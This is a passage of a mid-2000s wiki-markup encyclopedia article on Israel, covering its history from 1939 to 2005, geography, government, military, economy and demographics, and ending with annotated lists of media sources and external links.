In [[1939]], the British abandoned the idea of a Jewish national home, and abandoned partition and negotiations in favour of the  [[White Paper of 1939]], which limited Jewish immigration and restricted purchase of land by Jews. Its other stated policy was to establish a system under which both Jews and Arabs were to share one government. The plan was never fully implemented because of a combination of resistance from the Jews and Arabs and Britain's pre-occupation with Europe and World War II.  However, the White Paper guided British policy until the end of the term of their Mandate.   As a result, many Jews fleeing to Palestine to avoid Nazi persecution and the [[holocaust]] were intercepted and returned to Europe.  Two specific examples of this policy involved the ships ''[[Struma]]'' and ''[[Exodus (ship)|Exodus]]''[http://www.israeltoday.co.il/Default.aspx?tabid=139&amp;view=item&amp;idx=726].  These attempts by Jews to circumvent the blockade and flee Europe became known as [[Aliya Beth]].
{{See also|Jewish refugees|1922 Text: League of Nations Palestine Mandate}}

=== Establishment of the State ===
[[Image:Declaration of State of Israel 1948.jpg|left|thumb|200px|[[David Ben Gurion|Ben Gurion]] pronounces the [[Declaration of the Establishment of the State of Israel, May 14, 1948|Declaration of the State of Israel]] on [[May 14]] [[1948]] in [[Tel Aviv]].]]
{{main|Declaration of the Establishment of the State of Israel}}

In [[1947]], following increasing levels of violence by militant groups together with unsuccessful efforts to reconcile the Jewish and Arab populations, the British government decided to withdraw from the [[Palestine Mandate]]. The [[UN General Assembly]] approved the [[1947 UN Partition Plan]] dividing the territory into two states, Jewish and Arab, giving about half the land area to each state. [[Jerusalem]] was planned to be an international region administered by the UN to avoid conflict over its status. 


Immediately following the adoption of the Partition Plan by the UN General Assembly (on [[November 29]], [[1947]]), the Arab leadership rejected the plan and launched a guerilla war that included attacks on Jewish civilians.  The [[Irgun|Irgun Tsvai Leumi]] retaliated with attacks on Arabs, including Arab civilians.

On [[May 14]] [[1948]], before the expiry of the British Mandate of Palestine at [[midnight]] of [[May 15]] [[1948]], the State of Israel was proclaimed.

=== War of Independence and migration===
{{main|1948 Arab-Israeli War}}

The surrounding Arab states supported the Palestinian Arabs in rejecting both the Partition Plan and the establishment of Israel, and the armies of six Arab nations attacked the newly formed State of Israel. Over the next 15 months, Israelis captured and annexed an additional 26% of the Mandate territory west of the [[Jordan river]]. Most of the Arab population fled or were expelled during the war. (Estimates of the final refugee count range from 600,000 to 900,000 with the official United Nations count at 726,000. According to official estimates at the time of the British Mandate, the total count of the non-Jewish population in 1945 was about 1,211,000, so there might be some inconsistency between the estimates.) The continuing conflict between Israel and the Arab world resulted in a lasting displacement that persists to this day.
&lt;br clear=&quot;left&quot;/&gt;

Immigration of Holocaust survivors and Jewish refugees from Arab lands doubled Israel's population within a year of independence. Over the following decade approximately 600,000 [[Mizrahi Jew]]s, who [[Jewish exodus from Arab lands|fled or were expelled from surrounding Arab countries]] and Iran, migrated to Israel (with another 300,000 or so settling in [[France]] and [[North America]], leaving only a tiny remnant, mostly in [[Morocco]] and [[Tunisia]]). Israel's Jewish population continued to grow at a very high rate for some years, and was fed by further waves of [[Aliyah|Jewish immigration]] following the collapse of the [[USSR]].
{{see also|Jewish refugees|Palestinian refugee|Palestinian exodus}}

=== Subsequent wars, negotiations and agreements ===
[[Image:Stamp Golda Meir.jpg|thumb|left|150px|Golda Meir was Premier in the [[War of Attrition]] and [[Yom Kippur War]].]]
{{Main|Arab-Israeli conflict}}
After 1948, conflict between Israel and its Arab neighbors continued, sometimes escalating to full-scale wars. Israel and its neighboring countries fought out the [[1956 Suez War]], [[1967 Six Day War]], [[1970 War of Attrition]], and [[1973 Yom Kippur War]]. The state of war between Egypt and Israel ended with the signing of the [[Israel-Egypt Peace Treaty]] on [[March 26]], [[1979]]. The state of war with [[Jordan]] officially ended with the signing of the [[Israel-Jordan Treaty of Peace]] on [[October 26]] [[1994]]. Sporadic negotiations with [[Lebanon]] and [[Syria]] have not as yet resulted in peace treaties. On [[May 25]] [[2000]], Israel withdrew unilaterally from southern Lebanon, which it had occupied since 1982.

[[Image:Campdavid.jpg|thumb|right|250px|Celebrating the signing of the Camp David Accords in the [[White House Rose Garden]]: [[Menachem Begin]] (right), [[Jimmy Carter]] (center), [[Anwar Sadat]] (left)]]
Israel is currently also embroiled in an [[Israeli-Palestinian conflict|ongoing conflict]] with [[Palestinians]] in the territories controlled since the [[Six Day War]] in [[1967]], despite the signing of the [[Oslo Accords]] on [[September 13]] [[1993]], and the ongoing efforts of Israeli, Palestinian and global peacemakers. Israel and Palestinian officials signed on [[September 13]] [[1993]] a Declaration of Principles (also known as the &quot;Oslo accords&quot;) guiding an interim period of Palestinian self-rule, as well as avoiding any act of violence and inciting for violence, especially violence aimed at innocent people.  

In keeping with the framework established at the [[Madrid Conference of 1991|Madrid Conference in October 1991]], bilateral negotiations were conducted between Israel and Palestinian representatives and Syria to achieve a permanent settlement. On [[24 June]] [[2002]], US President [[George W. Bush]] laid out a &quot;road map&quot; for resolving the Israeli-Palestinian conflict, which envisions a two-state solution. However, progress toward a permanent status agreement was undermined by Palestinian-Israeli violence between September 2000 and February 2005. Major warfare between Israel and Palestinian organizations took place in the [[1982 Lebanon War]], [[1987 First Intifada]] and the [[2000 al-Aqsa Intifada]]. 

An agreement reached at Sharm al-Sheikh in February 2005 significantly reduced the violence. The election in January 2005 of [[Mahmud Abbas]] as the new Palestinian leader following the November 2004 death of [[Yasser Arafat]], the formation of a Likud-Labor-United Torah Judaism coalition government in January 2005, and the successful Israeli disengagement from the Gaza Strip (August-September 2005), presented an opportunity for a renewed peace effort. However, internal Israeli political events between October and December 2005 have destabilized the political situation and forced early elections, scheduled for March 2006.  (from ''[[The World Factbook]]'')

{{see also|1978 Camp David Peace Accords between Egypt and Israel|1993 Oslo Peace Accords between Palestinians and Israel|Camp David 2000 Summit between Palestinians and Israel}}

==Geography==
[[Image:Cia-is-map2.gif|thumb|250px|Map of Israel]]

{{main|Geography of Israel}}
Israel is bordered  by [[Lebanon]] in the north, [[Syria]], [[Jordan]] and the [[West Bank]] in the east, and [[Egypt]] and the [[Gaza Strip]] in the south-west. It has [[coastal|coastlines]] on the [[Mediterranean Sea|Mediterranean]] in the west and the [[Headlands and bays|Gulf]] of [[Eilat]] (also known as the [[Gulf of Aqaba]]) in the south. 

During the [[Six-Day War]] of [[1967]], Israel captured the West Bank from the Hashemite Kingdom of [[Jordan]], the [[Golan Heights]] from Syria, Gaza Strip (which was under Egyptian occupation), and [[Sinai]] from [[Egypt]]. It [[Israel's unilateral disengagement plan|withdrew]] all [[Israeli Security Forces|troops]] and [[Israeli settlement|settlers]] from the Gaza Strip on [[September 12]] [[2005]]. The future [[Palestine (region)#Current status|status]] of the West Bank, the Gaza Strip, and the Golan Heights remains to be determined. 

[[Image:TelAviv-Beach2.jpg|thumb|left|250px|Beach of [[Tel Aviv]] at sundown]]
The total area of the sovereign territory of Israel — excluding all territories captured by Israel in [[1967]] — is 20,770 km² (20,330 land) or 8,019 [[square mile|mi²]] (7,849 land). The total area under Israeli law — including [[East Jerusalem]] and the [[Golan Heights]] — is 22,145 km² (21,671 land) or 8,550 mi² (8,367 land). The total area under Israeli control — including the military-controlled and [[Palestinian National Authority|Palestinian]]-governed territory of the [[West Bank]] — is 28,023 km² (27,549 land) or 10,820 mi² (10,637 land).

===Metropolitan areas ===
{{see also|Districts of Israel|List of cities in Israel}}
As of 2004, The Israeli Central Bureau of Statistics defines three metropolitan areas: [[Gush Dan|Tel Aviv]] (population 2,933,300), [[Haifa]] (population 980,600) and [[Beersheba|Be'er Sheva]] a.k.a. Be'ersheba (population 511,700) [http://www1.cbs.gov.il/shnaton55/st02_15.pdf]. [[Jerusalem]]{{ref|Jerusalem}} may also be considered a metropolitan area, though its limits are hard to define since it spans communities in Israel proper and the [[West Bank]], both Israeli and Palestinian, and even the boundaries of Jerusalem city itself are disputed. As of 2005, the official population of Jerusalem city is 706,368.
&lt;!--- more text will be inserted here: topography, environment, hydrology. hence the geography pictures still run into the politics chapter ----&gt;

== Politics and law ==
{{main|Politics of Israel}}

Israel is a democratic [[republic]] with [[universal suffrage]] that operates under the [[parliamentary system]]. 

===Legislature===
Israel's [[unicameral]] legislative branch is a 120-member [[parliament]] known as the [[Knesset]]. Membership in the Knesset is allocated to parties based on their proportion of the vote, via a [[proportional representation]] voting system. Elections to the [[Knesset]] are normally held every four years, but the Knesset can decide to dissolve itself ahead of time by a simple majority, known as a vote of no-confidence.
{{See also|List of political parties in Israel}}
 
===Executive===

The [[President of Israel]] is [[head of state]], serving as a largely ceremonial [[figurehead]]. The President selects the leader of the majority party or ruling coalition in the Knesset as the [[Prime Minister of Israel|Prime Minister]], who serves as [[head of government]].&lt;sup&gt;[[#footnotes|2]]&lt;/sup&gt;

===Constitution and legal system===
[[Image:Knesset in Jerusalem Israel.jpg|thumb|200px|The [[Knesset]] building, Israel's parliament]]

Israel has not completed a written [[constitution]]. Its government is based on the laws of the [[Knesset]], especially the &quot;[[Basic Laws of Israel]]&quot;, which are special laws (currently there are 15 of them), by the Knesset legislature which will become the future official constitution. In mid-2003, the Knesset's Constitution, Law, and Justice Committee began [http://www.cfisrael.org drafting a full written Constitution to be proposed to the Knesset floor.] This effort is still underway as of early [[2006]].

The [[Declaration of the Establishment of the State of Israel, May 14, 1948|declaration of the State of Israel]] has a significance in this matter as well. Israel's legal system is a western legal system best classified as &quot;mixed&quot;: influenced by Anglo-American, Continental, and Jewish law principles. 

As in Anglo-American law, the Israeli legal system is based on the principle of ''stare-decisis'' (precedent).  It is an adversarial system, not an inquisitorial one, in the sense that the parties (for example, plaintiff and defendant) are the ones that bring the evidence before the court. The court does not conduct any independent investigation on the case. 

As in Continental legal systems, the [[jury]] system was not adopted in Israel. Court cases are decided by professional [[judge]]s. 

As for Civil Law influences, several major Israeli statutes (such as the Contract Law) are based on Civil Law principles. Israeli statute body is not comprised of Codes, but of individual statutes. However, a Civil Code draft has been completed recently, and is planned to become a bill.

Religious tribunals (Jewish, Sharia'a, Druze and Christian) have exclusive jurisdiction on annulment of marriages.

===Judiciary===
[[Image:SupremeCourtIsrael ST 06.jpg|thumb|200px|right|Frontal view of [[Supreme Court of Israel|The Supreme Court]] building]]
Israel's Judiciary branch is made of a three-tier system of courts.  At the lowest level are Magistrate Courts, situated in most cities. Above them are District Courts, serving both as [[appellate court]]s and as courts of first instance, situated in five cities: [[Jerusalem]], [[Tel Aviv]], [[Haifa]], [[Beersheba]] and [[Nazareth]].

At the top of the judicial pyramid is the [[Supreme Court of Israel]] seated in Jerusalem.  The current Chief Justice of the Supreme Court is [[Aharon Barak]]. The Supreme Court serves a dual role as the highest court of appeals and as the body for a separate institution known as the High Court of Justice (HCOJ). The HCOJ has the unique responsibility of addressing petitions presented to the Court by individual citizens. The respondents to these petitions are usually Governmental agencies (including the Israel Defense Forces). The result of such petitions, which are decided by the HCOJ, may be an instruction by the HCOJ to the relevant Governmental agency to act in a manner prescribed by the HCOJ.

Judges are elected by a committee made of Members of the Knesset (Parliament), Supreme Courts Judges, and Members of the Israeli Bar.  According to the Courts Law, judges retire at age 70. Registrars to all courts are appointed by the Chief Justice of the Supreme Court, with the approval of the Minister of Justice.

== Military ==
{{main|Israeli Security Forces}}

Israel's military consists of a unified [[Israel Defense Forces]] (IDF), known in [[Hebrew language|Hebrew]] by the acronym ''Tzahal'' (צה&quot;ל). Historically, there have been no separate Israeli military services. The Navy and [[Israeli Air Force|Air Force]] are subordinate to the Army. There are other paramilitary government agencies which deal with different aspects of Israel's security (such as ''[[Israel Border Police|Magav]]'' and ''[[Shin Bet]]''). 

The IDF is considered one of the strongest military forces in the [[Middle East]] and ranks among the most battle-trained armed forces in the world, having had to defend the country in five major wars. The IDF's main resource is the training quality of its soldiers and expert institutions, rather than use of overwhelming force. It also relies heavily on high-tech weapons systems, some developed and manufactured in Israel for its specific needs, and others imported (largely from the United States). 

Most Israelis (males and females) are [[conscription|draft]]ed into the military at age 18. Exceptions are [[Israeli Arab]]s, confirmed [[pacifists]], those who cannot serve due to injury or disability, and women who declare themselves religiously observant. Compulsory service is three years for men, and two years for women. [[Circassians]] and [[Bedouin]] actively enlist in the IDF. Since [[1956]], [[Druze]] men have been conscripted in the same way as Jewish men, at the request of the Druze community. Men studying full-time in religious institutions can get a deferment from conscription. Most [[Haredi Judaism|''Haredi'' Jews]] extend these deferments until they are too old to be conscripted, a practice that has fueled much controversy in Israel. 

Following compulsory service, Israeli men become part of the IDF reserve forces, and are usually required to serve several weeks every year as reservists until their 40s.

While the [[International Atomic Energy Agency]] suspects Israel to be a state possessing nuclear weapons, the government has never confirmed nor denied this assertion. Israel has not ratified the [[Nuclear Non-Proliferation Treaty]].

== Economy ==
[[Image:Natbag2000 from-the-air.jpg|thumb|250px|right|[[Ben Gurion Airport]] is an important hub for [[international trade]] and [[tourism]]]]
{{main|Economy of Israel}}
Israel has a technologically advanced market economy with substantial government participation. It depends on imports of [[fossil fuels]] ([[crude oil]], [[natural gas]], and [[coal]]), [[grains]], [[beef]], raw materials, and military equipment. Despite limited natural resources, Israel has intensively developed its agricultural and industrial sectors over the past 20 years. Israel is largely self-sufficient in food production except for grains and beef. Diamonds, high-technology, military equipment, software, pharmaceuticals, fine chemicals, and agricultural products (fruits, vegetables and flowers) are leading exports. Israel usually posts sizable [[current account deficit|current account deficits]], which are covered by large transfer payments from abroad and by foreign loans. Israel possesses extensive facilities for [[oil refining]], [[diamond#The diamond industry|diamond polishing]], and [[semiconductor]] fabrication.

Roughly half of the government's external debt is owed to the [[United States]], which is its major source of economic and military aid. A relatively large fraction of Israel's external debt is held by [[Individual investor|individual investors]], via the [[Israel Bonds]] program. The combination of American loan guarantees and direct sales to individual investors, allow the state to borrow at competitive and sometimes below-market rates.

The influx of Jewish immigrants from the former [[USSR]] topped 750,000 during the period [[1989]]–[[1999]], bringing the population of Israel from the former [[Soviet Union]] to one million, one-sixth of the total population, and adding scientific and professional expertise of substantial value for the economy's future. The influx, coupled with the opening of new markets at the end of the [[Cold War]], energized Israel's economy, which grew rapidly in the early [[1990s]]. But growth began slowing in [[1996]] when the government imposed tighter fiscal and monetary policies and the immigration bonus petered out. Those policies brought inflation down to record low levels in [[1999]].

High technology industries have taken a pre-eminent role in the economy, particularly in the last decade. Israel’s limited natural resources and strong emphasis on education have also played key roles in directing industry towards high technology fields. As a result of the country’s success in developing cutting edge technologies in software, communications and the life sciences, Israel is frequently referred to as a second Silicon Valley. Israel (as of 2004) receives more venture capital investment than any country in Europe, and has the largest VC/GDP rate in the world, seven times that of the United States.

Another leading industry is tourism, which benefits from the plethora of important historical sites for Judaism and Christianity and from Israel’s warm climate and access to water resources. The diamond industry is also of importance, but it has been impacted by changing industry conditions and shifts of certain industry activities to the Far East. 

As Israel has liberalized its economy and reduced taxes and spending, the gap between the rich and poor has grown.  As of 2005, 20.5% of Israeli families (and 34% of Israeli children) are living below the poverty line, though around 40% of those are lifted above the poverty line through transfer payments.

Israel's GDP per capita, as of [[28 July]], [[2005]], was $20,551.20 per person (42nd in the world). Israel's overall productivity was $54,510.40, and the amount of patents granted was 74/1,000,000 people.

==Population==
=== Demographics ===
[[Image:Israeli soldiers and Arabs .jpg|thumb|200px|right|[[Israeli Arabs|Arab Israeli]] soldiers and civilians in [[Galilee]], 1978]]
{{main|Demographics of Israel}}
According to Israel's Central Bureau of Statistics, at the end of [[2004]], of Israel's 6.9 million people, 76.2% were [[Jew]]s, 19.5%  [[Arab]]s, and 4.3% &quot;others&quot;.[http://www1.cbs.gov.il/shnaton56/st02_01.pdf]

Among Jews, 68% were [[Sabra (person)|Sabras]] (Israeli-born), mostly second- or third-generation Israelis, and the rest are [[oleh|olim]] — 22% from [[Europe]] and the [[Americas]], and 10% from [[Asia]] and [[Africa]], including the [[Arab world|Arab countries]].[http://www1.cbs.gov.il/shnaton56/st02_24.pdf]

Israel has two official languages; [[Hebrew language|Hebrew]] and [[Arabic language|Arabic]] (''See also:'' [[Languages of Israel]]). Hebrew is the major and primary language of the state and is spoken by the majority of the population. Arabic is spoken by the Arab minority and by some members of the [[Mizrahi Jews|Mizrahi]] and [[Yemenite Jews|Teimani]] Jewish communities.  [[English language|English]] is studied in school and is spoken by the majority of the population as a second language. Other languages spoken in Israel include [[Russian language|Russian]], [[Yiddish language|Yiddish]], [[Ladino language|Ladino]], [[Romanian language|Romanian]] and [[French language|French]]. American and European popular television shows are commonly presented. Newspapers can be found in all languages listed above as well as others, such as [[Persian language|Farsi]].

As of [[2004]], 224,200 Israeli citizens lived in the [[West Bank]] in numerous [[Israeli settlement]]s, (including towns such as [[Ma'ale Adummim]] and [[Ariel, West Bank|Ariel]], and a handful of communities that were present long before the [[1948 Arab-Israeli War]] and were re-established after the [[Six-Day War]] such as [[Hebron]] and [[Gush Etzion]]). Around 180,000 Israelis lived in [[East Jerusalem]] [http://fmep.org/settlement_info/stats_data/jerusalem/east_jerusalem_population_area_2000-2002.html], which came under Israeli law following its capture from Jordan during the Six-Day War. About 8,500 Israelis lived in settlements built in the [[Gaza Strip]], prior to their evacuation by the government in the summer of [[2005]] as part of [[Israel's unilateral disengagement plan]].

===Culture in Israel===
[[Image:Israel-1948-prestate-stamps-Hebrew-mail.jpg|left|thumb|250px|The first stamps, designed before the new state adopted its name, featured ancient Jewish coins and the text &quot;Hebrew mail&quot; in Hebrew and Arabic languages]]
{{main|Culture of Israel}}

{{seealso|Archaeology of Israel|Israel Antiquities Authority|Music of Israel|List of Israeli artists|Science and technology in Israel|Hatikva|Kibbutz|Gay rights in Israel}}

=== Religion in Israel ===
{{main|Religion in Israel}}
According to Israel's Central Bureau of Statistics, at the end of 2004, 76.2% of Israelis were [[Judaism|Jews]] by religion,  16.1% were [[Muslims]], 2.1% [[Christian]], 1.6% [[Druze]] and the remaining 3.9% (including [[Russians|Russian]] immigrants and some [[Jews]]) were not classified by religion.[http://www1.cbs.gov.il/shnaton56/st02_01.pdf] Israel is not a [[theocracy]], and religions other than Judaism are supported.

[[Image:Israel 1 027.Young male religious Jews.jpg|thumb|250px|Young [[Haredi]] men in [[Jerusalem]].]]
Roughly 6% of Israeli Jews define themselves as ''[[haredi]]m'' (ultra-orthodox religious); an additional 9% are &quot;religious&quot;; 34% consider themselves &quot;traditionalists&quot; (not strictly adhering to Jewish [[Halakha]]); and 51% are &quot;secular&quot; (termed &quot;hiloni&quot;). Among the seculars, 53% believe in God.

Israelis tend not to align themselves with a movement of [[Judaism]] (such as [[Reform Judaism]] or [[Conservative Judaism]]) but instead tend to define their religious affiliation by degree of their religious practice.

Of [[Israeli Arabs|Arab Israelis]], 82.6% were Muslim, 8.8% were [[Christian]] and 8.4% were [[Druze]].[http://www1.cbs.gov.il/shnaton56/st02_01.pdf]
{{seealso|Holidays and events in Israel|Judaism in Israel}}

==References and footnotes==

{{note|Jerusalem}}[[Jerusalem]] is Israel's officially designated capital, and the location of its presidential residence, government offices and the [[Knesset]], Israel's Parliament. In [[1980]], the Israeli Knesset confirmed Jerusalem's status as the nation's &quot;eternal and indivisible capital&quot;, by passing the ''[[Jerusalem Law|Basic Law: Jerusalem — Capital of Israel]]''. However, the [[United Nations]] disapproved this designation and considers [[Tel Aviv]] as Israel's capital [http://daccess-ods.un.org/access.nsf/Get?Open&amp;DS=A/RES/36/120&amp;Lang=E] . The international community argues that Israel's capture of the eastern half of Jerusalem from Jordan during the Six Day War was in violation of international law, and that the final issue of the status of Jerusalem will be determined in future Israeli-Palestinian negotiations. Therefore, nearly all countries maintain their embassies in [[Tel Aviv]] [http://cia.gov./cia/publications/factbook/geos/is.html]. See the article on [[Jerusalem]] for more.

&lt;sup&gt;2&lt;/sup&gt; For a short period in the [[1990s]] the prime minister was directly elected by the electorate. This change was not viewed a success and was abandoned.

*{{Web reference | author=United Nations| publishyear=1983| title=International Conference on the Question of Palestine—The Status of Jerusalem | format=html | work=United Nations Information System on the Question of Palestine | url=http://domino.un.org/UNISPAL.NSF/9a798adbf322aff38525617b006d88d7/dd53e072b16b507485257003004fe1fa!OpenDocument | date=February 26 | year=2006}}

== See also ==
{{col-begin}}
{{col-break}}
* [[List of Israelis]]
* [[List of cities in Israel|Cities in Israel]]
* [[Communications in Israel]]
* [[Transportation in Israel]]
* [[Military of Israel]]
* [[Foreign relations of Israel]]
{{col-break}}
* [[Israeli-occupied territories]]
* [[Israel and the United Nations]]
* [[Ha-Mossad le-Modiin ule-Tafkidim Meyuhadim]] (aka Mossad)
* [[Violence against Israelis]]
* [[List of universities in Israel]]
* [[Tel-Aviv Stock Exchange]]
{{col-end}}

== Annotated list of Israeli media sources ==
{{col-begin}}
{{col-2}}
'''General references to the Israeli media:'''
*[http://www.mfa.gov.il/mfa/facts%20about%20israel/culture/the%20printed%20media-%20israel-s%20newspapers The Printed Media: Israel's Newspapers] Summary from the Israeli Ministry of Foreign Affairs
*[[List of Israeli newspapers]]
'''English-language periodicals:'''
*''[[Azure (journal)|Azure]]'' [http://www.azure.co.il/] English edition of the quarterly journal offering essays and criticism on Israeli and Jewish public policy, culture and philosophy
*''[[Globes]]'' [http://www.globes.co.il/serveen/globes/nodeView.asp?fid=942] English-language website of Israel's business and technology daily
*''[[Haaretz|Ha'Aretz]]'' [http://www.haaretz.com/] Online English edition of the relatively highbrow Hebrew-language newspaper, Haaretz has a liberal editorial stance similar to that of ''[[The Guardian]]''.
*''[[IsraelInsider]]'' [http://www.israelinsider.com/] - Independent, right wing outlet. Target audience is American Jewry.
*''[[Jerusalem Newswire]]'' [http://www.jnewswire.com/ ] Independent, right-wing Christian-run news outlet
*''[[The Jerusalem Post]]'' [http://www.jpost.com/] Israel's oldest English-language newspaper, considered to have a right-of-center editorial slant
*''[[Jerusalem Report]]'' [http://www.jrep.com/] Left-of-center English [[weekly newspaper]]
*''[[YNetNews]]'' [http://www.ynetnews.com/] English-language website of Israel's largest newspaper ''[[Yedioth Ahronoth]]''
'''Hebrew-language periodicals:'''
*''[[Globes]]'' [http://www.globes.co.il/ ] business daily
*''[[Haaretz|Ha'Aretz]]'' [http://www.haaretz.co.il/] Relatively highbrow Israeli newspaper with a liberal editorial stance similar to that of ''[[The Guardian]]''
*''[[Hamodia]]'' Daily newspaper serving Israel's [[Haredi]] community. English editions are also published in the [[United States|U.S.]] and the [[United Kingdom|U.K.]] and serve local Jewish Orthodox communities in those countries. ''Hamodia'' is not available online. 
*''[[Hazofe]]'' [http://www.hazofe.co.il/] daily newspaper with a [[religious Zionist movement|religious Zionist]] point of view
*''[[Maariv]]'' [http://www.NRG.co.il/] Second largest Israeli newspaper, centrist.
{{col-2}}
'''Hebrew-language periodicals (continued):'''
*''[[Makor Rishon]]'' [http://www.makorrishon.net/] Conservative or Rightwing [[weekly newspaper]]
*''[[Azure (journal)|Tchelet]]'' [http://www.tchelet.org.il/] Hebrew edition of ''Azure'', a quarterly journal covering Israeli public policy
*''[[Yated Ne'eman]]'' Daily newspaper serving the [[Haredi]] community
*''[[Yedioth Ahronoth]]'' [http://www.ynet.co.il/] Israel's largest newspaper, centrist 

'''German-language periodicals:'''
* ''[[Israel Nachrichten]]'' [http://www.imh-deutschland.de/service/index.php?rubrik=0010&amp;id=0038] The German-language daily from Tel Aviv for the 100,000 German-speaking jews in Israel

'''Arabic-language periodicals:'''
*''Al-Ittihad'' Arabic-language daily newspaper
&lt;!-- '''Russian-language periodicals:''' --&gt;

'''Israeli broadcast media:'''
*[http://www.iba.org.il/ Israel Broadcasting Authority], TV News in Hebrew, some English.
*[http://www.radioisrael.com/ Radio Israel]
*[http://www.israelnationalnews.com/ Arutz Sheva] news site representing the settler community, right-wing religious (English)
*[http://www.israelradio.org/ Kol Israel - Voice of Israel] Also produced by the IBA. In Hebrew, French, English, Spanish, Ladino, Russian, Persian, Yiddish, etc.
* [http://www.isracast.com/ IsraCast] - Independent, multimedia broadcast and distribution network that focuses on Israeli foreign affairs and defense issues (English)
'''Notable Internet sources:'''
*[[DailyAlert]] [http://www.dailyalert.org/] daily digest of Israeli and world media reports on Israel and the Middle East prepared by the [[Jerusalem Center for Public Affairs]] for the [[Conference of Presidents of Major Jewish Organizations]]
*[[IsraPundit]][http://israpundit.com]Pro-Israel news and views from right-wing perspective.
*[[Indymedia]] Israel [http://israel.indymedia.org/], primarily left-wing and anti-zionist, mostly in [[Hebrew language|Hebrew]]
'''Relevant non-Israeli media:'''
*[[Electronic Intifada]] [http://electronicintifada.net/], website offering news and commentary on the Israeli-Palestinian conflict from a Palestinian perspective
*[[Jewish Telegraphic Agency]] [http://www.jta.org/], New York-based [[news agency]] covering worldwide Jewish news, centrist (English)

{{col-end}}

== External links ==
{{portal}}
{{sisterlinks|Israel}}
* {{wikitravel}}
* [http://www.telavivguide.net  Tel Aviv travel guide with information about sightseeing and activities in and around Tel Aviv]
&lt;h3&gt;General information&lt;h3&gt;
*[http://encarta.msn.com/encyclopedia_761575008/Israel_(country).html#s1 Encarta Encyclopedia entry on Israel]
*[http://news.bbc.co.uk/2/hi/world/middle_east/country_profiles/803257.stm BBC News Country Profile - ''Israel and Palestinian Territories'']
*[http://www.jewishvirtuallibrary.org/jsource/israel.html Jewish Virtual Library Israel articles], including information on history, economics, and military issues.  From the American-Israel Cooperative Enterprise, an Israel-advocacy group.
*[http://www.cia.gov/cia/publications/factbook/geos/is.html CIA World Factbook - ''Israel'']
* [http://www.state.gov/p/nea/ci/israel/ US State Department - ''Israel''] includes Background Notes, Country Study and major reports
*[http://www.columbia.edu/cu/lweb/indiv/mideast/cuvlm/Israel.html Columbia University Libraries - ''Israel''] directory category of the WWW-VL
*[http://dmoz.org/Regional/Middle_East/Israel/ Open Directory Project - ''Israel''] directory category
*[http://www.sabranet.com SABRAnet - Where Israel comes alive on the Internet]
*[http://dir.yahoo.com/Regional/Countries/Israel/ Yahoo! - ''Israel''] directory category

{{col-begin}}
{{col-2}}
&lt;h3&gt;Government&lt;h3&gt;
*[http://www.gov.il/FirstGov/english Government Portal of Israel]
*[http://www.mfa.gov.il/mfa Ministry of Foreign Affairs of Israel]  
*[http://www.president.gov.il/defaults/default_en.asp The President of the state of Israel]
*[http://www.pmo.gov.il/PMOEng Prime Minister's Office]
*[http://www.cbs.gov.il/engindex.htm Bureau of Statistics]
*[http://www.idf.il/ Israel Defence Force site]
*[http://www.seamzone.mod.gov.il/pages/eng/purpose.htm Israel Security Fence Project]
*[http://www.isayeret.com isayeret.com - The Israeli Special Forces Database]

{{col-2}}
&lt;h3&gt;The Knesset (Parliament)&lt;h3&gt;
*[http://www.knesset.gov.il/ The Knesset (Parliament)]

&lt;h3&gt;Legislation and the Legal System&lt;h3&gt;
*[http://62.90.71.124/eng/home/index.html The Courts]
*[http://www.knesset.gov.il/description/eng/eng_mimshal_yesod1.htm Basic Laws], legal code of Israel
*[http://www.israelinsurancelaw.com/ Israeli Commercial, Banking, Tort and Insurance Laws - in English]
{{col-end}}

{{col-begin}}
{{col-2}}
&lt;h3&gt;History&lt;h3&gt;
''Please see main article [[History of Israel]]''
*[http://news.bbc.co.uk/1/hi/world/middle_east/78601.stm The birth of Israel] from the BBC
*[http://www.imj.org.il/ Israel Museum, Jerusalem]
*[http://www.mfa.gov.il/MFA/MFAArchive/2000_2009/2002/7/Israel-s%20Foreign%20Relations-%20Selected%20Documents Historical documents] from the Israeli Ministry of Public Affairs
*[http://www.isracast.com/territories.asp Authentic historical Recordings] - UN Partition Vote of 1947, Arab Rejection, &quot;First&quot; Hatikva, David Ben-Gurion - On Independence, Arab Countdown to Six Day War, Moshe Dayan - Six Day War, Gen. Ariel Sharon - &quot;Move forward!&quot;, Nasser's Infamous Phonecall, Gen. Yitzhak Rabin - Six Day War, Abba Eban's &quot;Stalingrad&quot; Speech
{{col-2}}
&lt;h3&gt;Economy, science, and technology&lt;h3&gt;
*[http://www.standardpoor.co.il/index.html Standard and Poor's Israel Economic Information]
*[http://duns100.dundb.co.il/ DUNS 100], the hundred largest companies in Israel
*[http://www.science.co.il/ Israel Science and Technology Homepage]
*[http://www.israelinsurancelaw.com/ Translation of Israeli Laws to English]
*[http://www.isracast.com/tech.asp IsraCast: Science and Technology News From Israel] - Updated Weekly (English)
*[http://www.worldwide-tax.com/israel/indexisrael.asp Israel economy and business parameters] Israel key Data on Israeli Taxes, Income Tax, Tax Rates in Israel.
{{col-end}}

{{col-begin}}
{{col-2}}
&lt;h3&gt;Foreign relations and the current conflicts&lt;h3&gt;
''For links on the Arab-Israeli conflict and the Israeli-Palestinian conflict, see [[Arab-Israeli conflict#External links|Arab-Israeli Conflict: External Links]]''
*[http://www.mfa.gov.il Israel Ministry of Foreign Affairs]
*[http://www.israel21c.com Israel21c: A focus beyond the conflict]
*[http://www.saag.org/papers2/paper131.html India-Israeli Relations: The Imperatives for Enhanced Strategic Cooperation]
*[http://mondediplo.com/focus/mideast/r1276 Le Monde diplomatique report on EU-Israeli relations]
*[http://europa.eu.int/comm/external_relations/israel/intro/ European Union's relations with Israel]
*[http://www.jewishvirtuallibrary.org/jsource/ustoc.html US-Israeli Relations] from the Jewish Virtual Library.
*[http://www.cactus48.com/truth.html Jews for Justice in the Middle East] Publication detailing Arab-Israli conflict
*[http://historyteacher.net/Arab-Israeli_Conflict.htm Primary Source Documents for Israeli-Palestinian Conflict History]

{{col-2}}
&lt;h3&gt;Society&lt;h3&gt;
*[http://www.iwn.org.il/iwn.asp Israel Women's Network]
*[http://www.gaymiddleeast.com/country/israel Gay Middle East - Israel section]
*[http://www.fmep.org/analysis/ori_nir_israels_arab_minority.html Israeli Arabs and Israeli Society], discussion with Ori Nir, correspondent for Haaretz and the Forward.
*[http://www.jewishvirtuallibrary.org/jsource/Society_&amp;_Culture/freedom.html Freedom of Religion in Israeli Society and Politics] by Prof. Shimon Shetreet, former minister of Religious Affairs.
*[http://www.nswas.org/ Neve Shalom/Wahat al-Salam] the [[Oasis of Peace]], an experimental Arab-Jewish cooperative village.
